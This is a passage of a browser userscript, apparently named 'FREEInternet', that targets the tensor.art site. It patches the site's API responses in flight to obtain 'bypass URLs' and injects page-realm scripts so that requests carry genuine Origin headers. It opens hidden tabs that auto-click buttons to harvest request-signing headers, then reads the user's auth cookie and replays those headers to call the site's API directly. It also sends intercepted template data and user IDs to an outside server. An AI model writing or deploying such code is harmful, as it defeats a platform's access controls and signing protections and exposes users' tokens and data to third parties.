// The GM relay pushes into this same array via targetWindow.tensorWarmupCreatedIds.
window.tensorWarmupCreatedIds=window.tensorWarmupCreatedIds||[];
console.log(
  '%cFREEInternet Tensor Debug%c ready  \xb7  debug("Func1")  |  debug("Func2","<id>")  |  debug("Func2warm")  |  debug("Func3","<id>|warmup")',
  'background:#38bdf8;color:#020617;padding:2px 8px;border-radius:999px;font-weight:900;border:1px solid rgba(56,189,248,.45);',
  'color:#e0f2fe;font-weight:700;'
);
})();`;

    try {
      const s = document.createElement('script');
      s.textContent = inner;
      target.appendChild(s);
      try { s.remove(); } catch {}
      tensorInterceptLog('success', 'Installed Tensor console debug helper via page-context <script> injection', {
        commands: ['debug("Func1")', 'freeInternetDebug("Func1")', 'await freeInternetDebugAsync()'],
        method: 'script-tag-injection',
        note: 'Requests originate in true page realm with correct Origin + Sec-Fetch-* headers'
      });
    } catch (err) {
      document.__freeBypassDebugScriptInserted = false; // allow retry
      tensorInterceptLog('error', 'Failed to inject Tensor console debug helper', {
        error: String(err?.message || err)
      });
    }
  }

  function parseTensorXhrResponseBody(xhr) {
    if (!xhr) return null;
    if (xhr.responseType === 'json' && xhr.response && typeof xhr.response === 'object') {
      return xhr.response;
    }
    const raw = typeof xhr.responseText === 'string'
      ? xhr.responseText
      : (typeof xhr.response === 'string' ? xhr.response : '');
    if (!raw) return null;
    return JSON.parse(raw);
  }

  function readNativeTensorXhrResponseBody(xhr, nativeReaders = {}) {
    if (!xhr) return null;

    const responseType = String(xhr.responseType || '').toLowerCase();
    const getResponse = typeof nativeReaders.getResponse === 'function' ? nativeReaders.getResponse : null;
    const getResponseText = typeof nativeReaders.getResponseText === 'function' ? nativeReaders.getResponseText : null;

    if (responseType === 'json') {
      const nativeJson = getResponse ? getResponse.call(xhr) : xhr.response;
      if (nativeJson && typeof nativeJson === 'object') return nativeJson;
    }

    const raw = getResponseText
      ? getResponseText.call(xhr)
      : (getResponse ? getResponse.call(xhr) : (typeof xhr.responseText === 'string' ? xhr.responseText : (typeof xhr.response === 'string' ? xhr.response : '')));

    if (!raw || typeof raw !== 'string') return null;
    return JSON.parse(raw);
  }

  function getPatchedTensorXhrSnapshot(xhr, fetchUrl, nativeReaders = {}, phase = 'xhr-getter') {
    const isMgetTask = isMgetTaskEndpoint(fetchUrl);
    const isPatchable = isTensorPatchableTasksEndpoint(fetchUrl) || isMgetTask;
    if (!xhr || !settings.xhrInterceptEnabled || !isPatchable) return null;
    if (xhr.readyState !== 4 || xhr.status < 200 || xhr.status >= 300) return null;

    const getResponseText = typeof nativeReaders.getResponseText === 'function' ? nativeReaders.getResponseText : null;
    const rawText = getResponseText
      ? (() => {
          try {
            return getResponseText.call(xhr);
          } catch {
            return null;
          }
        })()
      : null;

    const cached = xhr.__freeBypassTensorPatchedSnapshot;
    if (cached && (rawText == null || cached.rawText === rawText)) {
      return cached;
    }

    try {
      const body = readNativeTensorXhrResponseBody(xhr, nativeReaders);
      const syncPatchFn = isMgetTask ? patchMgetTaskResponseBody : patchTensorTasksQueryResponseBody;
      const patched = syncPatchFn(body);
      const snapshot = {
        changed: !!patched.changed,
        stats: patched.stats || null,
        body: patched.changed ? patched.body : body,
        serialized: patched.changed ? JSON.stringify(patched.body) : (typeof rawText === 'string' ? rawText : null),
        rawText: typeof rawText === 'string' ? rawText : null
      };
      xhr.__freeBypassTensorPatchedSnapshot = snapshot;

      if (patched.changed && !xhr.__freeBypassTensorGetterLogged) {
        xhr.__freeBypassTensorGetterLogged = true;
        tensorInterceptLog('success', 'Patched Tensor XHR response via live getter override', {
          source: 'page-xhr',
          phase,
          url: fetchUrl,
          status: xhr.status,
          stats: patched.stats || null
        });
      }

      return snapshot;
    } catch (error) {
      tensorInterceptLog('error', 'Failed to compute Tensor XHR getter snapshot', {
        source: 'page-xhr',
        phase,
        url: fetchUrl,
        status: xhr?.status ?? null,
        error: String(error?.message || error)
      });
      return null;
    }
  }

  function applyPatchedTensorXhrBody(xhr, payload) {
    const serialized = JSON.stringify(payload);
    Object.defineProperties(xhr, {
      response: {
        value: xhr.responseType === 'json' ? payload : serialized,
        writable: true,
        configurable: true
      },
      responseText: {
        value: serialized,
        writable: true,
        configurable: true
      }
    });
  }

  function maybePatchTensorXhrResponse(xhr, fetchUrl, phase = 'xhr') {
    if (!xhr || xhr.__freeBypassTensorResponseHandled) return { changed: false, stats: null };
    const isMgetTask = isMgetTaskEndpoint(fetchUrl);
    const isPatchable = isTensorPatchableTasksEndpoint(fetchUrl) || isMgetTask;
    if (!settings.xhrInterceptEnabled || !isPatchable) return { changed: false, stats: null };
    if (xhr.readyState !== 4 || xhr.status < 200 || xhr.status >= 300) return { changed: false, stats: null };

    // Pick the correct sync patcher and async backfiller based on endpoint type
    const syncPatchFn = isMgetTask ? patchMgetTaskResponseBody : patchTensorTasksQueryResponseBody;
    const asyncBackfillFn = isMgetTask ? backfillMgetTaskResponseBody : backfillTensorTasksQueryResponseBody;

    try {
      const body = parseTensorXhrResponseBody(xhr);
      const patched = syncPatchFn(body);
      if (patched.changed) {
        applyPatchedTensorXhrBody(xhr, patched.body);
        tensorInterceptLog('success', `Patched ${isMgetTask ? 'mget_task' : 'Tensor'} XHR response`, {
          source: 'page-xhr',
          phase,
          url: fetchUrl,
          status: xhr.status,
          stats: patched.stats || null
        });
      } else {
        tensorInterceptLog('info', `Observed ${isMgetTask ? 'mget_task' : 'Tensor'} XHR response (no patch needed)`, {
          source: 'page-xhr',
          phase,
          url: fetchUrl,
          status: xhr.status,
          stats: patched.stats || null
        });
      }
      asyncBackfillFn(patched.changed ? patched.body : body, `page-xhr:${phase}`).then((backfilled) => {
        if (!backfilled?.changed) return;
        applyPatchedTensorXhrBody(xhr, backfilled.body);
        xhr.__freeBypassTensorPatchedSnapshot = {
          changed: true,
          body: backfilled.body,
          serialized: JSON.stringify(backfilled.body),
          rawText: null,
          stats: {
            ...(patched.stats || {}),
            resolvedItems: Number(backfilled.stats?.resolvedItems) || 0,
            resolvedTasks: Number(backfilled.stats?.resolvedTasks) || 0
          }
        };
        tensorInterceptLog('success', `Updated ${isMgetTask ? 'mget_task' : 'Tensor'} XHR response after async bypass URL resolution`, {
          source: 'page-xhr',
          phase,
          url: fetchUrl,
          status: xhr.status,
          stats: backfilled.stats || null
        });
      }).catch((error) => {
        tensorInterceptLog('error', `Failed async ${isMgetTask ? 'mget_task' : 'Tensor'} XHR URL backfill`, {
          source: 'page-xhr',
          phase,
          url: fetchUrl,
          status: xhr?.status ?? null,
          error: String(error?.message || error)
        });
      });
      xhr.__freeBypassTensorResponseHandled = true;
      return patched;
    } catch (error) {
      xhr.__freeBypassTensorResponseHandled = true;
      tensorInterceptLog('error', `Failed to patch ${isMgetTask ? 'mget_task' : 'Tensor'} XHR response`, {
        source: 'page-xhr',
        phase,
        url: fetchUrl,
        status: xhr?.status ?? null,
        error: String(error?.message || error)
      });
      return { changed: false, stats: null };
    }
  }

  function enforceXhrInterceptModeState() {
    if (settings.xhrInterceptEnabled) {
      settings.injectOnDom = false;
      settings.safeViewMode = false;
      stopDomInjectionWatcher();
    }
  }

  /**
   * Auto-runs when this tab was opened for background warmup.
   * Detects #freeinternet-tensor-warm-create / #freeinternet-tensor-warm-library in the URL,
   * performs the appropriate warmup, then closes the tab.
   * Relies on installTensorConsoleDebugHelper() having run first (registers page-script listeners).
   */
  // ===== LIBRARY PAGE ENHANCER =====

  async function processTensorObservedTemplateDetailResponse(url, response) {
    if (!isTemplateDetailEndpoint(url)) return;
    try {
      let body = null;
      if (response && typeof response.clone === 'function') {
        try { body = await response.clone().json(); } catch { return; }
      } else if (response && typeof response.readyState !== 'undefined' && response.readyState === 4) {
        body = parseTensorXhrResponseBody(response);
      }
      if (!body) return;
      const tpl = body?.data?.workflowTemplate;
      if (!tpl?.id) return;
      templateDetailCache.set(String(tpl.id), body);
      // Also populate templateInfoCache for legacy uses
      templateInfoCache.set(String(tpl.id), { workflowTemplateId: String(tpl.id), name: tpl.name || '' });
      // Re-run inject in case button is waiting for this data
      if (typeof injectCommunityShareButton === 'function') {
        setTimeout(injectCommunityShareButton, 50);
      }
    } catch { /* ignore */ }
  }

  async function processTensorLibraryApiResponse(url, requestBody, response) {
    if (!url || url.indexOf('api.tensor.art/library-web/v1/entry') === -1) return;
    let data = null;
    try {
      if (response && typeof response.json === 'function' && typeof response.clone === 'function') {
        data = await response.clone().json();
      } else if (response && typeof response.readyState !== 'undefined' && response.readyState === 4) {
        data = parseTensorXhrResponseBody(response);
      }
      if (!data || String(data.code) !== '0') return;
    } catch { return; }
    const epMatch = url.match(/\/entry\/([^/?#]+)/);
    if (!epMatch) return;
    const endpoint = epMatch[1];
    if (endpoint === 'list') {
      const results = (data.data && Array.isArray(data.data.results))
        ? data.data.results
        : (Array.isArray(data.results) ? data.results : []);
      let added = 0;
      for (const entry of results) {
        if (!entry || !entry.id) continue;
        tensorLibraryEntryMap[entry.id] = entry;
        if (entry.originalPath) tensorLibraryPathToEntryId[entry.originalPath] = entry.id;
        added++;
      }
      tensorInterceptLog('info', 'Library: cached entry/list data', { added, total: Object.keys(tensorLibraryEntryMap).length });
      if (typeof location !== 'undefined' && location.pathname.startsWith('/library')) {
        setTimeout(flagWarmupCardsInLibrary, 150);
      }
    }
  }

  function flagWarmupCardsInLibrary() {
    if (!IS_TENSOR_DOMAIN) return;
    if (typeof location === 'undefined' || !location.pathname.startsWith('/library')) return;
    if (!tensorWarmupCreatedIds.length) return;
    const pw = typeof unsafeWindow !== 'undefined' ? unsafeWindow : window;
    const doc = pw.document;
    const grid = doc.querySelector('.flex-1.overflow-y-auto.overflow-x-hidden.pr-12.relative.rd-12');
    if (!grid) return;
    const cards = grid.querySelectorAll('div.rd-8.relative');
    let flagged = 0;
    for (const card of cards) {
      if (card.getAttribute('data-fi-warmup')) continue;
      let src = '';
      const img = card.querySelector('img[src*="tensorartassets"]');
      if (img) src = img.src || img.getAttribute('src') || '';
      if (!src) {
        const vidSrc = card.querySelector('video source[src*="tensorartassets"]');
        if (vidSrc) src = vidSrc.src || vidSrc.getAttribute('src') || '';
      }
      if (!src) { const anyImg = card.querySelector('img'); if (anyImg) src = anyImg.src || ''; }
      if (!src) continue;
      // Extract "library/ownerId/year/.../filename.ext" which == originalPath in list data
      const pathMatch = src.match(/(library\/\d+\/[^?#]+)/);
      if (!pathMatch) continue;
      const originalPath = pathMatch[1];
      const entryId = tensorLibraryPathToEntryId[originalPath];
      if (!entryId || !tensorWarmupCreatedIds.includes(entryId)) continue;
      const entry = tensorLibraryEntryMap[entryId] || {};
      card.setAttribute('data-fi-warmup', 'true');
      card.setAttribute('data-fi-entry-id', entryId);
      card.setAttribute('data-fi-owner-id', entry.ownerId || '');
      card.setAttribute('data-fi-type', entry.type || '');
      card.setAttribute('data-fi-path', originalPath);
      card.style.setProperty('outline', '3px solid #ef4444', 'important');
      card.style.setProperty('outline-offset', '-3px', 'important');
      flagged++;
    }
    if (flagged) tensorInterceptLog('info', 'Library: flagged warmup cards with red border', { flagged });
  }

  function injectTensorLibraryWarmupButton(doc) {
    if (doc.querySelector('[data-fi-delete-warmup-btn]')) return;
    const uploadIcon = doc.querySelector('iconpark-icon[icon-id="upload"]');
    if (!uploadIcon) return;
    let el = uploadIcon, uploadBtn = null;
    for (let i = 0; i < 6; i++) {
      el = el.parentElement;
      if (!el) return;
      if (el.tagName === 'BUTTON') { uploadBtn = el; break; }
    }
    if (!uploadBtn || !uploadBtn.parentElement) return;
    const container = uploadBtn.parentElement;
    const btn = doc.createElement('button');
    btn.setAttribute('data-fi-delete-warmup-btn', 'true');
    btn.className = '__button-dark-njtao5-filmmd n-button n-button--default-type n-button--medium-type n-button--secondary rd-8';
    btn.type = 'button';
    btn.title = 'Remove items auto-added to library during initialization warmup';
    btn.innerHTML = '<span class="n-button__icon"><div class="n-icon-slot" role="none"><i role="img" class="n-icon __icon-dark-njtao5-d"><iconpark-icon icon-id="delete" name="" size="16"></iconpark-icon></i></div></span><span class="n-button__content" style="color:#fca5a5"> Rm Init</span>';
    btn.style.cssText = 'background:#7f1d1d!important;border-color:#ef4444!important;';
    container.insertBefore(btn, container.firstChild);
    btn.addEventListener('click', function() {
      runAutoDeleteWarmupItems().catch(function(e) {
        tensorInterceptLog('error', 'Library cleanup error', { error: String(e && e.message || e) });
      });
    });
    tensorInterceptLog('success', 'Library: injected Rm Init button into toolbar', {});
  }

  async function runAutoDeleteWarmupItems() {
    const pw = typeof unsafeWindow !== 'undefined' ? unsafeWindow : window;
    const doc = pw.document;
    function sleep(ms) { return new Promise(function(r) { setTimeout(r, ms); }); }
    function diClick(el) {
      if (!el) return;
      const rect = el.getBoundingClientRect();
      const cx = rect.width > 0 ? Math.round(rect.left + rect.width / 2) : 100;
      const cy = rect.height > 0 ? Math.round(rect.top + rect.height / 2) : 100;
      const eo = { bubbles: true, cancelable: true, clientX: cx, clientY: cy, screenX: cx, screenY: cy, view: pw };
      try { el.dispatchEvent(new (pw.PointerEvent || PointerEvent)('pointerdown', Object.assign({}, eo, { button: 0, buttons: 1 }))); } catch(e2) {}
      try { el.dispatchEvent(new (pw.MouseEvent || MouseEvent)('mousedown', Object.assign({}, eo, { button: 0, buttons: 1 }))); } catch(e2) {}
      try { el.dispatchEvent(new (pw.PointerEvent || PointerEvent)('pointerup', Object.assign({}, eo, { button: 0, buttons: 0 }))); } catch(e2) {}
      try { el.dispatchEvent(new (pw.MouseEvent || MouseEvent)('mouseup', Object.assign({}, eo, { button: 0, buttons: 0 }))); } catch(e2) {}
      try { el.dispatchEvent(new (pw.MouseEvent || MouseEvent)('click', Object.assign({}, eo, { button: 0, buttons: 0 }))); } catch(e2) {}
      try { el.click(); } catch(e2) {}
    }
    function findDeleteBtn() {
      const btns = Array.from(doc.querySelectorAll('button[title="Delete"]'));
      for (const b of btns) { if (b.querySelector('iconpark-icon[icon-id="delete"]')) return b; }
      return null;
    }
    function findYesBtn() {
      const action = doc.querySelector('.n-dialog__action');
      if (!action) return null;
      for (const b of action.querySelectorAll('button')) {
        if ((b.className || '').includes('warning') || (b.textContent || '').trim().toLowerCase() === 'yes') return b;
      }
      return null;
    }
    async function uiDeleteOne(card) {
      const id = card.getAttribute('data-fi-entry-id');
      card.scrollIntoView({ behavior: 'smooth', block: 'nearest' });
      await sleep(400);
      diClick(card);
      await sleep(2000);
      const db = findDeleteBtn();
      if (!db) { tensorInterceptLog('warning', 'Library cleanup: Delete btn not found after clicking card', { id }); return false; }
      diClick(db);
      await sleep(1000);
      const yb = findYesBtn();
      if (!yb) { tensorInterceptLog('warning', 'Library cleanup: confirm Yes btn not found', { id }); return false; }
      diClick(yb);
      await sleep(1500);
      card.removeAttribute('data-fi-warmup');
      card.style.removeProperty('outline');
      card.style.removeProperty('outline-offset');
      const ri = tensorWarmupCreatedIds.indexOf(id);
      if (ri !== -1) tensorWarmupCreatedIds.splice(ri, 1);
      return true;
    }

    const allFlagged = Array.from(doc.querySelectorAll('[data-fi-warmup="true"]'));
    if (!allFlagged.length) { tensorInterceptLog('info', 'Library cleanup: no warmup-flagged items', {}); return; }
    tensorInterceptLog('info', 'Library cleanup: starting', { count: allFlagged.length });

    // First item: use UI click to both delete it AND capture the signing headers
    const ok1 = await uiDeleteOne(allFlagged[0]);
    if (!ok1) return;

    // Wait for delete signing headers (up to 5 s, 10 polls)
    let deleteHeaders = null;
    for (let poll = 0; poll < 10; poll++) {
      await sleep(500);
      const dh = tensorSigningHeadersByPath['library-web/v1/entry/delete'];
      if (dh && (Date.now() - dh.ts) < TENSOR_SIGNING_HEADER_TTL) { deleteHeaders = dh.headers; break; }
    }

    const remaining = Array.from(doc.querySelectorAll('[data-fi-warmup="true"]'));
    if (!remaining.length) { tensorInterceptLog('success', 'Library cleanup: done', {}); return; }

    if (!deleteHeaders) {
      tensorInterceptLog('warning', 'Library cleanup: no delete headers captured — using UI for remaining items', { count: remaining.length });
      for (const rc of remaining) {
        await sleep(1000);
        await uiDeleteOne(rc);
      }
      return;
    }

    let token = (typeof userToken === 'string') ? userToken.trim() : '';
    if (!token) {
      try {
        const cookies = await GM.cookie.list({ name: 'ta_token_prod', url: 'https://tensor.art' });
        token = (cookies && cookies[0] && cookies[0].value) ? cookies[0].value : '';
      } catch(e2) {}
    }

    tensorInterceptLog('info', 'Library cleanup: deleting remaining via GM relay', { count: remaining.length });
    for (const rc of remaining) {
      const remId = rc.getAttribute('data-fi-entry-id');
      if (!remId) { rc.removeAttribute('data-fi-warmup'); rc.style.removeProperty('outline'); continue; }
      await sleep(2000);
      await new Promise(function(resolve) {
        const hdrs = { 'accept': 'application/json, text/plain, */*', 'content-type': 'application/json' };
        try {
          Object.entries(deleteHeaders).forEach(function(pair) {
            const k = pair[0], v = pair[1];
            const name = String(k || '').trim().toLowerCase();
            const val  = String(v != null ? v : '').trim();
            if (!name || name === 'pragma' || name === 'cache-control') return;
            if (val) hdrs[k] = val;
          });
        } catch(e2) {}
        if (token) hdrs['authorization'] = 'Bearer ' + token;
        GM.xmlHttpRequest({
          method: 'POST',
          url: 'https://api.tensor.art/library-web/v1/entry/delete',
          headers: hdrs,
          data: JSON.stringify({ entryIds: [remId] }),
          withCredentials: true, anonymous: false,
          onload: function(r) {
            const ok = r.status >= 200 && r.status < 300;
            tensorInterceptLog(ok ? 'success' : 'warning', 'Library cleanup: deleted item', { entryId: remId, status: r.status });
            rc.removeAttribute('data-fi-warmup');
            rc.style.removeProperty('outline');
            rc.style.removeProperty('outline-offset');
            const ri2 = tensorWarmupCreatedIds.indexOf(remId);
            if (ri2 !== -1) tensorWarmupCreatedIds.splice(ri2, 1);
            resolve();
          },
          onerror: function() { tensorInterceptLog('warning', 'Library cleanup: network err', { entryId: remId }); resolve(); },
          ontimeout: function() { resolve(); }
        });
      });
    }
    tensorInterceptLog('success', 'Library cleanup: all done', { remaining: tensorWarmupCreatedIds.length });
  }

  function installTensorLibraryPageEnhancer() {
    if (!IS_TENSOR_DOMAIN) return;
    if (typeof location === 'undefined' || !location.pathname.startsWith('/library')) return;
    const pw = typeof unsafeWindow !== 'undefined' ? unsafeWindow : window;
    const doc = pw.document;
    flagWarmupCardsInLibrary();
    function tryGridObserver() {
      const grid = doc.querySelector('.flex-1.overflow-y-auto.overflow-x-hidden.pr-12.relative.rd-12');
      if (grid && !grid.__fiWarmupObserver) {
        grid.__fiWarmupObserver = true;
        new MutationObserver(function() { flagWarmupCardsInLibrary(); }).observe(grid, { childList: true, subtree: true, attributes: false });
      }
      return !!grid;
    }
    if (!tryGridObserver()) {
      let gr = 0;
      const gt = setInterval(function() { if (tryGridObserver() || ++gr > 30) clearInterval(gt); }, 500);
    }
    let ba = 0;
    const bt = setInterval(function() {
      if (++ba > 30 || doc.querySelector('[data-fi-delete-warmup-btn]')) { clearInterval(bt); return; }
      injectTensorLibraryWarmupButton(doc);
    }, 500);
  }

  function installTensorNewTabWarmupInit() {
    if (!IS_TENSOR_DOMAIN) return;
    const rawHash = (location.hash || '').toLowerCase();
    if (!rawHash.includes('freeinternet-tensor-warm')) return;
    // Clean the hash to avoid it affecting page routing
    try { history.replaceState(null, '', location.pathname + location.search); } catch { /* ignore */ }
    const isCreateWarm  = rawHash.includes('warm-create');
    const isLibraryWarm = rawHash.includes('warm-library');
    if (!isCreateWarm && !isLibraryWarm) return;
    const targetWindow = typeof unsafeWindow !== 'undefined' ? unsafeWindow : window;
    if (isLibraryWarm) {
      // Library page fires its own API calls on load; the fetch interceptor
      // captures them and broadcasts via tensorWarmupBC. Just close after 6 s.
      tensorInterceptLog('info', 'New-tab warmup (library): page loaded — waiting for fetch interceptor…', {});
      setTimeout(function() { try { window.close(); } catch { /* ignore */ } }, 6000);
      return;
    }
    // Create warmup: wait for page load, then dispatch the button-click warmup event
    // which the page script (inner IIFE) handles.
    tensorInterceptLog('info', 'New-tab warmup (create): waiting for page load…', {});
    // Visible banner in this tab's DevTools console so it's easy to identify
    console.log('%c[FREEInternet WARMUP TAB] Opened to capture entry/create signing headers. Will auto-click Create → Add-to-Library then close.', 'background:#dc2626;color:#fff;font-size:13px;font-weight:900;padding:4px 12px;border-radius:4px;');
    function doCreateWarmup(attempt) {
      attempt = attempt || 0;
      tensorInterceptLog('info', 'New-tab warmup (create): dispatching warm event, attempt=' + attempt, {});
      const onDone = function(ev) {
        targetWindow.removeEventListener('_freeInternetDebugWarmCreateDone', onDone);
        clearTimeout(closeTimer);
        const ok = ev && ev.detail && ev.detail.ok;
        if (ok) {
          // Give BC headers_captured message time to arrive in the calling tab
          setTimeout(function() { try { window.close(); } catch { /* ignore */ } }, 1200);
        } else if (attempt < 2) {
          // Failure — give the page 3 s to settle, then try again
          tensorInterceptLog('warn', 'New-tab warmup (create): attempt ' + attempt + ' failed, retrying…', {});
          setTimeout(function() { doCreateWarmup(attempt + 1); }, 3000);
        } else {
          // All retries exhausted
          tensorInterceptLog('warn', 'New-tab warmup (create): all attempts failed, closing tab.', {});
          try { window.close(); } catch { /* ignore */ }
        }
      };
      // Per-attempt fallback timer — if the inner page script never fires the done event
      const closeTimer = setTimeout(function() {
        targetWindow.removeEventListener('_freeInternetDebugWarmCreateDone', onDone);
        if (attempt < 2) {
          tensorInterceptLog('warn', 'New-tab warmup (create): attempt ' + attempt + ' timed out, retrying…', {});
          doCreateWarmup(attempt + 1);
        } else {
          try { window.close(); } catch { /* ignore */ }
        }
      }, 22000);
      targetWindow.addEventListener('_freeInternetDebugWarmCreateDone', onDone);
      try {
        targetWindow.dispatchEvent(new CustomEvent('_freeInternetDebugWarmCreate', { detail: {} }));
      } catch { /* ignore */ }
    }
    // Give the page extra time to fully render before starting warmup
    if (document.readyState === 'complete') {
      setTimeout(doCreateWarmup, 4000);
    } else {
      window.addEventListener('load', function() { setTimeout(doCreateWarmup, 4000); }, { once: true });
    }
  }

  // ══════════════════════════════════════════════════════════════════════════════
  // COMMUNITY SHARE AI TOOLS
  // ══════════════════════════════════════════════════════════════════════════════

  function getCommunityApiUrl() {
    return remoteConfig?.api_community?.url || 'https://syncore.mooo.com/host/community_tools.php';
  }

  function isCommunityApiEnabled() {
    if (!settings.communityShareEnabled) return false;
    const cfg = remoteConfig?.api_community;
    if (cfg && cfg.enabled === false) return false;
    return true;
  }

  async function communityApiCall(action, payload = {}) {
    const url = getCommunityApiUrl();
    const body = { action, ...payload };
    if (remoteConfig?.api_community?.requireUserId) {
      const summary = getAccountSummaryForToken(userToken);
      if (summary?.userId) body.userId = String(summary.userId);
    }
    const resp = await fetch(url, {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify(body)
    });
    if (!resp.ok) throw new Error(`Community API HTTP ${resp.status}`);
    return resp.json();
  }

  async function communityShareTool(workflowTemplateId, detailPayload) {
    // detailPayload = full intercepted JSON from workflow/v1/workflow/template/detail
    // or a minimal { workflowTemplateId, name } fallback
    const payload = detailPayload && typeof detailPayload === 'object'
      ? detailPayload
      : { workflowTemplate: { id: String(workflowTemplateId), name: String(detailPayload || workflowTemplateId) } };
    const result = await communityApiCall('add', payload);
    if (result?.ok) {
      communitySharedTemplateIds.add(String(workflowTemplateId));
      try {
        localStorage.setItem('freeBypassCommunitySharedIds', JSON.stringify([...communitySharedTemplateIds]));
      } catch { /* ignore */ }
    }
    return result;
  }

  async function communityRemoveTool(workflowTemplateId) {
    const result = await communityApiCall('remove', { workflowTemplateId });
    if (result?.ok) {
      communitySharedTemplateIds.delete(String(workflowTemplateId));
      try {
        localStorage.setItem('freeBypassCommunitySharedIds', JSON.stringify([...communitySharedTemplateIds]));
      } catch { /* ignore */ }
    }
    return result;
  }

  async function communityFetchTools(forceRefresh = false) {
    const ttl = Number(remoteConfig?.api_community?.cacheExpireMs) || 300000;
    if (!forceRefresh && communityToolsCache && (Date.now() - communityToolsCacheAt) < ttl) {
      return communityToolsCache;
    }
    const limit = Number(remoteConfig?.api_community?.maxToolsPerPage) || 50;
    const result = await communityApiCall('show', { limit });
    // Normalize fields: PHP uses camelCase, keep both for backward compat
    const raw = Array.isArray(result?.data) ? result.data : [];
    communityToolsCache = raw.map(t => ({
      ...t,
      // Normalize field names used by card renderer
      recommended_count: t.recommendedCount ?? t.recommended_count ?? t.shareCount ?? 0,
      run_count:         t.runCount         ?? t.run_count         ?? 0,
      star_count:        t.starCount        ?? t.star_count        ?? 0,
      download_count:    t.downloadCount    ?? t.download_count    ?? 0,
      last_updated_at:   t.lastUpdatedAt    ?? t.last_updated_at   ?? null,
      flags_vip_only:    t.flagsVipOnly     ?? t.flags_vip_only    ?? false,
      flags_subscriber_only: t.flagsSubscriberOnly ?? t.flags_subscriber_only ?? false,
      flags_grant_run:   t.flagsGrantRun    ?? t.flags_grant_run   ?? false,
    }));
    communityToolsCacheAt = Date.now();
    return communityToolsCache;
  }

  async function communityRateTool(workflowTemplateId, rating) {
    return communityApiCall('rate', { workflowTemplateId, rating });
  }

  // Get template info for current /template/{id} page
  function getCurrentPageTemplateInfo() {
    const match = (location?.pathname || '').match(/\/template\/([^/?#]+)/);
    if (!match) return null;
    const templateId = match[1];
    // Try templateInfoCache first (populated when intercepting task responses)
    const cached = templateInfoCache.get(templateId);
    if (cached) return cached;
    // Fall back to reading the title from the DOM
    const titleEl = document.querySelector('span.text-ellipsis.line-clamp-2.overflow-hidden.max-w-full');
    const name = titleEl ? (titleEl.textContent || '').trim() : '';
    return { workflowTemplateId: templateId, name: name || `Template ${templateId}` };
  }

  // Inject the "Recommend" floating button on /template/{id} pages
  function _updateCommunityBtnState(btn, templateId) {
    const colors = getThemeColors();
    const isShared = communitySharedTemplateIds.has(String(templateId));
    btn.setAttribute('data-fi-recommended', isShared ? '1' : '0');
    btn.title = isShared
      ? 'You already recommended this tool. Click to remove your recommendation.'
      : 'Recommend this template to other FreeInternet users anonymously.';
    if (isShared) {
      btn.style.background = `${colors.primary}40`;
      btn.style.borderColor = `${colors.primary}99`;
      btn.style.color = colors.primary;
      btn.innerHTML = `<i class="fas fa-check" style="margin-right:5px;"></i>Recommended!`;
    } else {
      btn.style.background = `${colors.primary}1a`;
      btn.style.borderColor = `${colors.primary}59`;
      btn.style.color = colors.primary;
      btn.innerHTML = `<i class="fas fa-share-nodes" style="margin-right:5px;"></i>Recommend`;
    }
  }

  function injectCommunityShareButton() {
    if (!settings.communityShareEnabled) return;
    if (!IS_TENSOR_DOMAIN) return;
    const match = (location?.pathname || '').match(/\/template\/([^/?#]+)/);
    if (!match) return;

    const templateId = match[1];

    // Check if already injected & still in DOM
    const existingBtn = document.getElementById('fi-community-share-btn');
    if (existingBtn && document.body.contains(existingBtn)) {
      if (!existingBtn.dataset.fiCommunityLoading) {
        _updateCommunityBtnState(existingBtn, templateId);
        existingBtn.style.display = 'inline-flex'; // always visible
      }
      return;
    }

    // Create floating button attached to the page header region
    const btn = document.createElement('button');
    btn.id = 'fi-community-share-btn';
    btn.setAttribute('data-fi-community-template-id', templateId);
    btn.style.cssText = `
      display: inline-flex;
      align-items: center;
      padding: 8px 16px;
      border-radius: 10px;
      border: 1px solid rgba(99,102,241,0.35);
      font-size: 13px;
      font-weight: 600;
      cursor: pointer;
      transition: background 0.2s, border-color 0.2s, transform 0.1s;
      letter-spacing: 0.2px;
      box-shadow: 0 2px 12px rgba(99,102,241,0.12);
    `;
    btn.onmouseenter = () => { if (!btn.dataset.fiCommunityLoading) btn.style.transform = 'translateY(-1px)'; };
    btn.onmouseleave = () => { btn.style.transform = ''; };
    _updateCommunityBtnState(btn, templateId);

    btn.addEventListener('click', async () => {
      if (btn.dataset.fiCommunityLoading) return;
      const curShared = communitySharedTemplateIds.has(String(templateId));

      btn.dataset.fiCommunityLoading = '1';
      btn.style.opacity = '0.7';
      btn.innerHTML = `<i class="fas fa-spinner fa-spin" style="margin-right:5px;"></i>${curShared ? 'Removing…' : 'Recommending…'}`;

      try {
        if (curShared) {
          await communityRemoveTool(String(templateId));
          showToast('Recommendation removed.', 'success');
        } else {
          // Send full intercepted detail JSON as payload
          const detailPayload = templateDetailCache.get(String(templateId)) || null;
          await communityShareTool(String(templateId), detailPayload);
          showToast('Template recommended to the community!', 'success');
          communityToolsCache = null; // invalidate cache
        }
        _updateCommunityBtnState(btn, templateId);
      } catch (err) {
        _updateCommunityBtnState(btn, templateId);
        showToast(`Failed: ${err?.message || err}`, 'error');
      } finally {
        delete btn.dataset.fiCommunityLoading;
        btn.style.opacity = '';
      }
    });

    // Try to find the star button row and insert there, otherwise fall back to a fixed floating position
    const starBtn = document.querySelector('button.vi-button--full[class*="vi-button--type-secondary"]');
    const targetRow = starBtn?.closest('div.flex.gap-12');
    if (targetRow) {
      const wrapper = document.createElement('div');
      wrapper.className = 'flex-1 sm:flex-0';
      wrapper.style.cssText = 'display:flex; align-items:center;';
      wrapper.appendChild(btn);
      targetRow.insertBefore(wrapper, targetRow.firstChild);
    } else {
      // Floating fallback: fixed to bottom-right above any panel, below header
      btn.style.position = 'fixed';
      btn.style.bottom = '80px';
      btn.style.right = '24px';
      btn.style.zIndex = '9999';
      btn.style.boxShadow = '0 4px 24px rgba(99,102,241,0.3)';
      btn.style.display = 'inline-flex'; // ensure visible in floating mode
      if (document.body) {
        document.body.appendChild(btn);
      } else {
        document.addEventListener('DOMContentLoaded', () => document.body.appendChild(btn), { once: true });
      }
    }
  }

  function initTensorSiteRequestListeners() {
    if (!IS_TENSOR_DOMAIN) return;
    const pageWindow = typeof unsafeWindow !== 'undefined' ? unsafeWindow : window;
    if (!pageWindow || pageWindow.__freeBypassTensorRequestListenerInstalled) return;
    pageWindow.__freeBypassTensorRequestListenerInstalled = true;

    installGMDebugRequestRelay();
    installTensorConsoleDebugHelper();
    installTensorNewTabWarmupInit();
    installTensorLibraryPageEnhancer();
